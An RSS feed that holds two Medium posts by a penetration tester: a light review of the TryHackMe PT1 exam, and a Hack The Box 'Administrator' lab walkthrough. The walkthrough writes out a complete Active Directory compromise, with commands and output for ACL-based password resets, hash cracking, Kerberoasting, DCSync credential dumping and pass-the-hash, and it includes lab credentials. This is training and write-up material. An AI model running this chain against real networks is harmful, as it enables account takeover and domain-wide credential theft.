<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kulindu Kodithuwakku on Medium]]></title>
        <description><![CDATA[Stories by Kulindu Kodithuwakku on Medium]]></description>
        <link>https://medium.com/@kulindukody?source=rss-f74c65e600d5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*s6fGy5vsG-qW8LaYps0X_w.png</url>
            <title>Stories by Kulindu Kodithuwakku on Medium</title>
            <link>https://medium.com/@kulindukody?source=rss-f74c65e600d5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 11:53:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kulindukody/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My PT1 Exam Experience — The Mini OSCP Adventure]]></title>
            <link>https://medium.com/@kulindukody/my-pt1-exam-experience-the-mini-oscp-adventure-058a2c85d4d5?source=rss-f74c65e600d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/058a2c85d4d5</guid>
            <category><![CDATA[minioscp]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pt1]]></category>
            <dc:creator><![CDATA[Kulindu Kodithuwakku]]></dc:creator>
            <pubDate>Sat, 06 Sep 2025 10:39:46 GMT</pubDate>
            <atom:updated>2025-09-06T10:39:46.190Z</atom:updated>
            <content:encoded><![CDATA[<h3>My PT1 Exam Experience — The Mini OSCP Adventure</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kqkLn9htj0lfDPeF-njIEw.png" /></figure><h4>What is PT1?</h4><p>The <strong>PT1 (Penetration Tester Level 1)</strong> exam is a practical, hands-on certification introduced by <strong>TryHackMe</strong> as a way for beginners to test and prove their penetration testing skills. It’s designed to be an accessible entry point into the world of ethical hacking, giving candidates a realistic but achievable challenge across multiple areas of security.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F3Jy0oC3kF_o%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D3Jy0oC3kF_o&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F3Jy0oC3kF_o%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/cd3bc04b7368d4de448350d479311a49/href">https://medium.com/media/cd3bc04b7368d4de448350d479311a49/href</a></iframe><p>Rather than focusing on theory or multiple-choice questions, PT1 drops you into a live environment and challenges you to exploit vulnerabilities in <strong>web applications</strong>, <strong>network infrastructure</strong>, and <strong>Active Directory environments</strong>. It’s a well-rounded test that introduces newcomers to a variety of attack techniques while still feeling engaging for more experienced learners.</p><p>With a total of <strong>48 hours</strong> to both complete the lab and write the report, PT1 doesn’t just measure your ability to hack into systems — it also evaluates your documentation and reporting skills, just like in a real penetration test. Many people see it as a “mini OSCP,” making it a great stepping stone before moving on to more advanced and time-intensive certifications.</p><h4>So what was my experience like ?</h4><p>If I had to sum up the PT1 exam in one line, I’d say it was an absolute blast… apart from the two days without sleep and the web application section slowly melting my brain.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FtZ6zAdNZbWOhq%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fedition-python-monty-tZ6zAdNZbWOhq&amp;image=https%3A%2F%2Fmedia2.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExN25zcjF2YjNyZGZxcnc1amZtYXE3NW1zNHBwaTE5NXpnbHc3Z3hmbSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FtZ6zAdNZbWOhq%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="291" frameborder="0" scrolling="no"><a href="https://medium.com/media/0cec291ac2d4256d9d97c8777a49a9aa/href">https://medium.com/media/0cec291ac2d4256d9d97c8777a49a9aa/href</a></iframe><p>The exam is split into <strong>three sections</strong> — Web Application, Network Security, and Active Directory. The best part is you don’t have to finish one before starting another. If something is giving you trouble, you can jump into a different section and still rack up points. That takes some of the pressure off and makes it a little more forgiving than the “all or nothing” approach some certifications use</p><h4>Web Application — The CTF Beast in Disguise</h4><p>The first section I tackled was the web application challenge, and it immediately felt different from a real-world pentest. This wasn’t about following a structured vulnerability testing process. It was very much a <strong>CTF-style puzzle</strong> with clever tricks and unusual exploitation paths.</p><p>At times, it was frustrating. There were moments where I sat staring at my screen wondering if the answer was even in there. But when things finally clicked, it was an incredibly satisfying feeling — like finding a secret door in a game you’ve been stuck on for hours. That said, it definitely burned through more brainpower than the other sections.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F5YnqjLL9gopRnmoR3K%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fnatgeochannel-season-1-nat-geo-valley-of-the-boom-5YnqjLL9gopRnmoR3K&amp;image=https%3A%2F%2Fmedia4.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExcXN3dmIxajQ0bDIzbWZnYW16Z2Z0YmQybmoyN2JrM3BqbngzMWdubyZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2F5YnqjLL9gopRnmoR3K%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="246" frameborder="0" scrolling="no"><a href="https://medium.com/media/652df240734cade820ca74638786ef10/href">https://medium.com/media/652df240734cade820ca74638786ef10/href</a></iframe><h4>Active Directory — The Smooth Ride</h4><p>The <strong>Active Directory</strong> section was a completely different vibe — smooth, logical, and extremely fun.</p><p>It started with one key target — the “gateway” machine.<br> Getting initial access there took a bit of work, but once you breached that first foothold, everything clicked into place.<br> The rest of the network practically opened up like a treasure map.</p><p>AD exploitation here was well-paced and felt like a real engagement — enumeration, privilege escalation, moving between systems — without being overly complicated.<br> It’s the kind of section where you could almost feel yourself grinning while running BloodHound and lining up your next attack.</p><p>For me, this was the <strong>most enjoyable</strong> part of PT1. It struck the perfect balance between challenge and flow.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FFspCyVCCRZ3Ga36QLR%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2FMasterChefAU-masterchef-masterchefau-australia-FspCyVCCRZ3Ga36QLR&amp;image=https%3A%2F%2Fmedia0.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExMm5sZXMycTB2NzlyaHpncTNqaW5wMWV0cHdpM29rc2t6cmJocHl3YSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FFspCyVCCRZ3Ga36QLR%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/96770cba42254d7478aedb8787ea4804/href">https://medium.com/media/96770cba42254d7478aedb8787ea4804/href</a></iframe><h4>Network Security — The Linux Stumble &amp; Windows Sprint</h4><p>The network section came with <strong>two targets</strong>: a Linux machine and a Windows machine.</p><p>The <strong>Linux box</strong> was the trickier of the two.<br> Getting that initial foothold felt like being stuck in a maze — plenty of doors, but only one had the right key. Once I found that entry point, things flowed more naturally, but it was definitely the part that made me stop, think, and rethink my approach.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FOWAaDWMQTCjsZ4X066%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fjukeboxsaints-OWAaDWMQTCjsZ4X066&amp;image=https%3A%2F%2Fmedia4.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExeG5iMmw2ejBjdTZpYm9ydzd4cnNhOWw3d2QzbjJydGRkMWo4dnEweiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FOWAaDWMQTCjsZ4X066%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="261" frameborder="0" scrolling="no"><a href="https://medium.com/media/d45a661c79db719c2fe9874310e1ea8f/href">https://medium.com/media/d45a661c79db719c2fe9874310e1ea8f/href</a></iframe><p>The <strong>Windows box</strong>, on the other hand, was refreshingly straightforward.<br> It followed a clean exploitation path without unnecessary red herrings. If you’ve done Windows privilege escalation before, you’ll feel right at home.</p><p>This section felt balanced overall — one machine to test your patience, one to restore your confidence.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FIe9d5RYQsyBbTtxOdW%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fsmith-jaden-Ie9d5RYQsyBbTtxOdW&amp;image=https%3A%2F%2Fmedia2.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExdXViYTVjbmhjZnBhcjhkYWw4ZHJ5N3dmbno1cHlxcmp5Mm00ZDl3ZiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FIe9d5RYQsyBbTtxOdW%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="313" frameborder="0" scrolling="no"><a href="https://medium.com/media/b222107396a28b35ea032b7762e81502/href">https://medium.com/media/b222107396a28b35ea032b7762e81502/href</a></iframe><h4>The Hidden Fourth Challenge — Sleep Deprivation</h4><p>The official PT1 timer gives you <strong>48 hours total</strong> for both lab time and report writing.</p><p>Sounds manageable, right?<br>Well… that depends on whether you value sleep.</p><p>I went full hacker-mode and ended up pulling <strong>two straight all-nighters</strong>. The mix of caffeine, adrenaline, and problem-solving had me bouncing between focus and delirium. At one point, I think I genuinely tried to ssh into my energy drinks.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F7UkC6MWySEObK%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fcomment-description-dickbutt-7UkC6MWySEObK&amp;image=https%3A%2F%2Fmedia3.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExdHdkdXpqdmw4YmljZnYxYzdjYXBocGZ6OHQ0ZWpoZ3o3bjdqb3prNCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2F7UkC6MWySEObK%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="357" frameborder="0" scrolling="no"><a href="https://medium.com/media/9ef8a907458a55193a3c6b72e6c7d6b5/href">https://medium.com/media/9ef8a907458a55193a3c6b72e6c7d6b5/href</a></iframe><p>The time limit is fair, though. There’s enough breathing room to finish all sections and still put together a decent report — as long as you pace yourself better than I did.</p><h4>The Reporting</h4><p>The reporting stage was more of a <strong>guided template</strong> than a freeform professional report.</p><p>You basically fill in the blanks for findings, evidence, and recommendations. While this is quick and painless,<strong><em> I do think it could be improved</em> </strong>— maybe allow <strong>code blocks, inline screenshots, and richer formatting</strong> to make the evidence look cleaner and more professional.</p><p>After hacking for two days straight, though, I wasn’t complaining. This “plug-and-play” style made wrapping up much easier.</p><h4>CPTS vs PT1 — Which Was Better?</h4><p>Since I’ve done <strong>CPTS</strong> before, I couldn’t help but compare the two. <strong>CPTS</strong> felt far more <strong>realistic</strong> in terms of simulating an actual corporate pentest. There were no neat sections — you had to follow the <strong>entire attack chain</strong> from <strong>initial access → lateral movement → pivoting → domain compromise</strong>.<br> It’s a full network engagement, and you can’t just skip around. If you’re stuck, you’re <em>really</em> stuck. This makes CPTS more intense but also more rewarding for those who thrive in a complete kill-chain scenario.</p><p><strong>PT1</strong>, on the other hand, is a <strong>more relaxed, modular approach</strong>.<br> You can choose which section to focus on first, and struggling in one area doesn’t block your progress in another. This makes it less stressful for newer testers or for people who want a broad challenge without the “all eggs in one basket” risk.</p><p>In short:</p><ul><li><strong>CPTS</strong> → More realistic, continuous-flow network pentest.</li><li><strong>PT1</strong> → Mini OSCP style, modular, and more forgiving.</li></ul><p>Personally, I’d say CPTS was the better “real-world simulation,” but PT1 was <strong>more fun</strong> in terms of variety and flexibility.</p><h4>Final Thoughts — My Mini OSCP</h4><p>Overall, PT1 was a <strong>solid and well-designed exam</strong>.</p><p>The mix of skills tested — web, network, and AD — kept it interesting, and the “you can still score even if you get stuck” format made it less mentally punishing than some other certs.</p><p>Would I recommend it? <strong>Absolutely.</strong><br> Just remember to pace yourself, get some rest, and maybe don’t challenge the web app section at 3 AM unless you enjoy suffering for fun.</p><p>For me, PT1 was the <strong>Mini OSCP</strong> — a smaller but still thrilling taste of a multi-domain hacking exam. And honestly? I’d do it again… after a week of sleep.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=058a2c85d4d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kicking Off the HTB Red Team Track: Administrator Machine Breakdown]]></title>
            <link>https://medium.com/@kulindukody/kicking-off-the-htb-red-team-track-administrator-machine-breakdown-d39d44db4327?source=rss-f74c65e600d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/d39d44db4327</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[htb-medium]]></category>
            <category><![CDATA[administrator-htb]]></category>
            <dc:creator><![CDATA[Kulindu Kodithuwakku]]></dc:creator>
            <pubDate>Sat, 28 Jun 2025 04:46:17 GMT</pubDate>
            <atom:updated>2025-06-28T04:46:17.513Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*9auuOcVUEgcAMVYR.png" /></figure><p>As part of the Hack The Box <em>Intro to Red Team</em> track, I tackled <strong>Administrator</strong>, a medium-difficulty Windows machine focused on Active Directory exploitation and full domain compromise. Starting with low-privileged credentials, the machine requires careful enumeration of ACLs, revealing a chain of misconfigurations that allow lateral movement between users through password resets and permission abuse.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eUVFqCb1xvXytDrRtcuhXA.png" /></figure><p>Key techniques explored include abusing GenericAll and GenericWrite permissions, password spraying, Kerberoasting, and leveraging DCSync rights to extract the domain controller’s secrets. This machine provides a practical introduction to real-world red team tactics in Windows environments, with a strong emphasis on privilege escalation through misconfigured object permissions.</p><h3>In-Depth Walkthrough of the Exploitation Process</h3><p>The tester kicked off the assessment with an Nmap scan, uncovering exposed ports and revealing the underlying services running on the target system.</p><pre>$ nmap -sCV -v 10.129.232.219<br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-28 08:14 +0530<br>[SNIP]<br>PORT     STATE SERVICE       VERSION<br>21/tcp   open  ftp           Microsoft ftpd<br>| ftp-syst: <br>|_  SYST: Windows_NT<br>53/tcp   open  domain        Simple DNS Plus<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-28 09:44:19Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  tcpwrapped<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)<br>3269/tcp open  tcpwrapped<br>5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows<br>Host script results:<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled and required<br>| smb2-time: <br>|   date: 2025-06-28T09:44:40<br>|_  start_date: N/A<br>|_clock-skew: 6h59m39s</pre><p>This pentest kicked off under an <em>assume breach</em> scenario, where credentials for the low-privileged user olivia were provided—setting the stage for a deep dive into Active Directory enumeration and privilege abuse, just as a real attacker would after gaining a foothold in the network.</p><blockquote>Username:<strong> Olivia </strong>Password:<strong> ichliebedich</strong></blockquote><p>The tester initially attempted to access the system via FTP using the provided credentials for the user olivia, aiming to identify any accessible resources or misconfigurations.</p><pre>$ ftp olivia@10.129.232.219<br>Connected to 10.129.232.219.<br>220 Microsoft FTP Service<br>331 Password required<br>Password: <br>530 User cannot log in, home directory inaccessible.<br>ftp: Login failed<br>ftp&gt;</pre><p>Since FTP access was unsuccessful, the tester pivoted to SMB enumeration, aiming to identify any exposed or misconfigured network shares that could aid further access.</p><pre>$ nxc smb 10.129.232.219 -u Olivia -p ichliebedich --shares<br>SMB         10.129.232.219  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)<br>SMB         10.129.232.219  445    DC               [+] administrator.htb\Olivia:ichliebedich <br>SMB         10.129.232.219  445    DC               [*] Enumerated shares<br>SMB         10.129.232.219  445    DC               Share           Permissions     Remark<br>SMB         10.129.232.219  445    DC               -----           -----------     ------<br>SMB         10.129.232.219  445    DC               ADMIN$                          Remote Admin<br>SMB         10.129.232.219  445    DC               C$                              Default share<br>SMB         10.129.232.219  445    DC               IPC$            READ            Remote IPC<br>SMB         10.129.232.219  445    DC               NETLOGON        READ            Logon server share <br>SMB         10.129.232.219  445    DC               SYSVOL          READ            Logon server share</pre><p>The tester successfully authenticated but found no valuable SMB shares beyond the default ones. To gain deeper insight into the domain, the tester initiated BloodHound enumeration to map user permissions, UACLs, and potential privilege escalation paths.</p><pre>$ bloodhound-python -u &#39;olivia&#39; -p &#39;ichliebedich&#39; -d administrator.htb -c All --zip -ns 10.129.232.219<br>INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)<br>INFO: Found AD domain: administrator.htb<br>INFO: Getting TGT for user<br>WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.administrator.htb:88)] [Errno -2] Name or service not known<br>INFO: Connecting to LDAP server: dc.administrator.htb<br>INFO: Found 1 domains<br>INFO: Found 1 domains in the forest<br>INFO: Found 1 computers<br>INFO: Connecting to LDAP server: dc.administrator.htb<br>INFO: Found 11 users<br>INFO: Found 53 groups<br>INFO: Found 2 gpos<br>INFO: Found 1 ous<br>INFO: Found 19 containers<br>INFO: Found 0 trusts<br>INFO: Starting computer enumeration with 10 workers<br>INFO: Querying computer: dc.administrator.htb<br>INFO: Done in 00M 44S<br>INFO: Compressing output into 20250628083846_bloodhound.zip</pre><p>The tester launched the Neo4j console and began analyzing BloodHound data to assess the privileges and user access control lists (UACLs) associated with the olivia account. During the review, it was discovered that olivia holds GenericAll permissions over the user michael, indicating full control over the account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*AUis1iHQPK5uN2uxFb1rZA.png" /></figure><p>Leveraging the GenericAll permissions, the tester proceeded to reset the password for the michael account, thereby gaining control and access to the user’s session.</p><pre>$ net rpc password &quot;michael&quot; &quot;newP@ssword2022&quot; -U &quot;administrator.htb&quot;/&quot;olivia&quot;%&quot;ichliebedich&quot; -S 10.129.232.219</pre><p>The tester then attempted to authenticate as michael using the newly set credentials and successfully gained access to the account.</p><pre>$ nxc smb 10.129.232.219 -u michael -p &#39;newP@ssword2022&#39;<br>SMB         10.129.232.219  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)<br>SMB         10.129.232.219  445    DC               [+] administrator.htb\michael:newP@ssword2022</pre><p>The tester identified that michael had the ForceChangePassword privilege over the user benjamin, allowing for a password reset without knowing the original credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*6QhSvBjcUDvcV4EsDb5MDA.png" /></figure><p>The tester then proceeded to change the password for the user account <strong>benjamin</strong>.</p><pre>$ net rpc password &quot;benjamin&quot; &quot;newP@ssword2022&quot; -U &quot;administrator.htb&quot;/&quot;michael&quot;%&#39;newP@ssword2022&#39; -S 10.129.232.219</pre><p>Lacking any privileges or user access control entries tied to the account, the tester explored alternative access points — checking whether the user could log in through FTP or any other exposed service that might offer a foothold.</p><pre>$ ftp benjamin@10.129.232.219 <br>Connected to 10.129.232.219.<br>220 Microsoft FTP Service<br>331 Password required<br>Password: <br>230 User logged in.<br>Remote system type is Windows_NT.<br>ftp&gt; ls<br>229 Entering Extended Passive Mode (|||58825|)<br>125 Data connection already open; Transfer starting.<br>10-05-24  09:13AM                  952 Backup.psafe3<br>226 Transfer complete.<br>ftp&gt; get Backup.psafe3<br>local: Backup.psafe3 remote: Backup.psafe3<br>229 Entering Extended Passive Mode (|||58831|)<br>125 Data connection already open; Transfer starting.<br>100% |***************************************************************************************************************|   952        2.57 KiB/s    00:00 ETA<br>226 Transfer complete.<br>WARNING! 3 bare linefeeds received in ASCII mode.<br>File may not have transferred correctly.<br>952 bytes received in 00:00 (1.77 KiB/s)<br>ftp&gt;</pre><p>The tester successfully authenticated to the FTP service and discovered a .psafe3 file—commonly associated with Password Safe, a tool used to store sensitive credentials. Recognizing its potential value, the tester identified this file as a likely vault containing credentials for other users.</p><p>To access its contents, the tester needed to retrieve the master password. As a first step, they extracted the hash from the .psafe3 file using the pwsafe2john utility, preparing it for a password-cracking attempt.</p><pre>$ pwsafe2john Backup.psafe3 &gt; psafe-hash</pre><p>With the hash extracted, the tester proceeded to launch a brute-force attack using <strong>John the Ripper</strong>, aiming to crack the master password of the .psafe3 file and gain access to its stored credentials.</p><pre>$ john psafe-hash -w=/usr/share/wordlists/rockyou.txt <br>Using default input encoding: UTF-8<br>Loaded 1 password hash (pwsafe, Password Safe [SHA256 128/128 SSE2 4x])<br>Cost 1 (iteration count) is 2048 for all loaded hashes<br>Will run 4 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>tekieromucho     (Backu)     <br>1g 0:00:00:00 DONE (2025-06-28 09:08) 1.098g/s 6751p/s 6751c/s 6751C/s newzealand..iheartyou<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed.</pre><p>After successfully cracking the hash, the tester unlocked the .psafe3 file and retrieved stored credentials—ultimately gaining access to another user account, further advancing their foothold in the environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*X8bhyRR0nMaEudfUe5jHiQ.png" /></figure><p>Upon unlocking the .psafe3 file, the tester discovered three sets of credentials stored within. These credentials could potentially provide access to additional user accounts or services, significantly expanding the attack surface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*ORta9YYQIxgsiweI7cQZWQ.png" /></figure><p>The tester attempted to authenticate using all three sets of credentials found in the .psafe3 file. Out of the three, only the credentials for the user <strong>emily</strong> were valid, granting the tester access and allowing further exploration under this account.</p><pre>$ nxc smb 10.129.232.219 -u emily -p &#39;U[Redacted]b&#39;<br>SMB         10.129.232.219  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)<br>SMB         10.129.232.219  445    DC               [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb</pre><p>Using the valid credentials for the user <strong>emily</strong>, the tester successfully accessed the account and retrieved the <strong>user.txt</strong> flag — marking the completion of the user-level compromise.</p><pre>$ evil-winrm -u emily -p &#39;U[Redacted]b&#39; -i 10.129.232.219<br>                                        <br>Evil-WinRM shell v3.7<br>                                        <br>Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc&#39; for module Reline<br>                                        <br>Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion<br>                                        <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\emily\Documents&gt; dir<br>*Evil-WinRM* PS C:\Users\emily\Documents&gt; cd ../Desktop<br>*Evil-WinRM* PS C:\Users\emily\Desktop&gt; dir<br>Directory: C:\Users\emily\Desktop<br><br>Mode                 LastWriteTime         Length Name<br>----                 -------------         ------ ----<br>-a----        10/30/2024   2:23 PM           2308 Microsoft Edge.lnk<br>-ar---         6/28/2025   2:35 AM             34 user.txt<br><br>*Evil-WinRM* PS C:\Users\emily\Desktop&gt; type user.txt</pre><p>The tester proceeded to enumerate the privileges associated with the <strong>emily</strong> account and identified that it had <strong>GenericWrite</strong> permissions over another user account, <strong>ethan</strong>. This level of access opened the door for potential privilege escalation by modifying attributes of the <strong>ethan</strong> account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*4mGYChggDm_XqojRY4-w1w.png" /></figure><p>The tester then executed a Kerberoasting attack targeting the <strong>ethan</strong> account and successfully extracted the user’s hashed credentials, paving the way for further privilege escalation attempts.</p><blockquote>If you encounter the error <strong>KRB_AP_ERR_SKEW (Clock skew too great)</strong>, resolve it by disabling network time synchronization with the following command:</blockquote><blockquote>sudo timedatectl set-ntp false</blockquote><pre>$ sudo ntpdate administrator.htb | python3 targetedKerberoast.py -v -d &#39;administrator.htb&#39; -u &#39;emily&#39; -p &#39;UXLCI5iETUsIBoFVTj8yQFKoHjXmb&#39;<br>[*] Starting kerberoast attacks<br>[*] Fetching usernames from Active Directory with LDAP<br>[VERBOSE] SPN added successfully for (ethan)<br>[+] Printing hash for (ethan)<br>$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$7[Redacted]b<br>[VERBOSE] SPN removed successfully for (ethan)</pre><p>The tester saved the extracted hash to a file and proceeded to crack it using <strong>John the Ripper</strong>, aiming to recover the plaintext password for the <strong>ethan</strong> account.</p><pre>$ nano ethan-hash<br><br>$ john ethan-hash -w=/usr/share/wordlists/rockyou.txt<br>Using default input encoding: UTF-8<br>Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])<br>Will run 4 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>l[redacted]t       (?)     <br>1g 0:00:00:00 DONE (2025-06-28 16:38) 33.33g/s 170666p/s 170666c/s 170666C/s newzealand..babygrl<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed.</pre><p>The tester then analyzed the user’s ACLs and privileges, identifying that the account possessed <strong>DCSync</strong> rights over the domain. Leveraging this powerful permission, the tester proceeded to perform a domain hash dump to extract credentials for domain accounts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B1aL0LHV3vbMp1_Fk86lNg.png" /></figure><p>The tester performed credential dumping using <strong>Impacket’s </strong><strong>secretsdump.py</strong> tool, successfully extracting the hash of the domain administrator account.</p><pre>$ impacket-secretsdump &#39;administrator.htb&#39;/&#39;ethan&#39;:&#39;l[Redacted]t&#39;@&#39;dc.administrator.htb&#39;<br>Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies <br>[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied <br>[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)<br>[*] Using the DRSUAPI method to get NTDS.DIT secrets<br>Administrator:500:a[Redacted]e:3[Redacted]e:::<br>[SNIP]<br>[*] Kerberos keys grabbed<br>Administrator:aes256-cts-hmac-sha1-96:9[Redacted]4<br>Administrator:aes128-cts-hmac-sha1-96:0[Redacted]2<br>Administrator:des-cbc-md5:4[Redacted]5<br>[SNIP]<br>[*] Cleaning up...</pre><p>The tester then leveraged the extracted hash to perform a <strong>Pass-the-Hash</strong> attack, successfully gaining administrative access to the domain.</p><pre>$ evil-winrm -i administrator.htb -u &#39;Administrator&#39; -H &#39;3dc553ce4b9fd20bd016e098d2d2fd2e&#39;  <br>                                        <br>Evil-WinRM shell v3.7<br>                                        <br>Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc&#39; for module Reline<br>                                        <br>Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion<br>                                        <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\Administrator\Documents&gt; cd ../Desktop<br>*Evil-WinRM* PS C:\Users\Administrator\Desktop&gt; dir<br>Directory: C:\Users\Administrator\Desktop<br><br>Mode                 LastWriteTime         Length Name<br>----                 -------------         ------ ----<br>-ar---         6/28/2025   2:35 AM             34 root.txt</pre><h3>Closing Remarks</h3><p>This engagement highlights the critical importance of properly managing Access Control Lists (ACLs) and user permissions within an Active Directory environment. Even low-privileged accounts, when granted excessive rights like GenericAll or GenericWrite over other users, can be leveraged to escalate privileges rapidly and compromise the entire domain. The attack chain demonstrated how seemingly isolated weaknesses—such as password resets, accessible backup files, and service permissions—can be combined to gain full control of a network. It underscores the necessity for continuous monitoring, strict privilege segmentation, and timely auditing of ACLs to prevent unauthorized lateral movement and domain takeover. Ultimately, this exercise reinforces the principle of least 